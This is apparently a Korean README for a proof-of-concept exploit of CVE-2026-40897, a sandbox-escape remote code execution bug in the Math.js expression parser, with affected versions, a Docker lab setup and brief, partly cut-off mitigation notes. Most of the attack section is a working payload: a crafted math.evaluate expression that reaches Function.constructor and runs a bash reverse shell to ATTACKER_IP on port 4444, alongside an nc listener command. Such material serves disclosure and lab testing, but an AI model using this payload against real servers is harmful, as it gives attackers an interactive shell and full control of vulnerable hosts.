
Math.js 표현식 파서 RCE
★ CVE-2026-40897 Math.js 원격 코드 실행 PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897은 Math.js 표현식 파서에서 샌드박스 우회로 인한 원격 코드 실행 취약점입니다.
isSafeProperty필터는 사용자 표현식의 속성 접근만 확인하고 내부 코드 경로는 확인하지 않습니다. 공격자는toJSON()을 통해ArrayNode의 내부 배열을 유출하고 해당.map을 덮어써서 내부 코드가Function.constructor에 접근하도록 강제하여 임의의 JavaScript를 실행할 수 있습니다.
| 구분 | 버전 |
|---|
| 취약한 버전 | Math.js 13.1.1 ≤ 버전 ≤ 15.1.1 |
| 패치된 버전 | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
취약한 환경을 시작한 후 아래 단계에 따라 공격을 재현합니다.
nc -lvnp 4444
다음 표현식을 math.evaluate에 전송합니다 (예: 애플리케이션의 계산 입력을 통해).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
대상 서버가 공격자의 리스너로 다시 연결되어 대화형 bash 셸을 제공합니다.
math.evaluate()에 직접 전달하지 않기reviver, FunctionAssignmentNode, ArrayNode) 노출 제한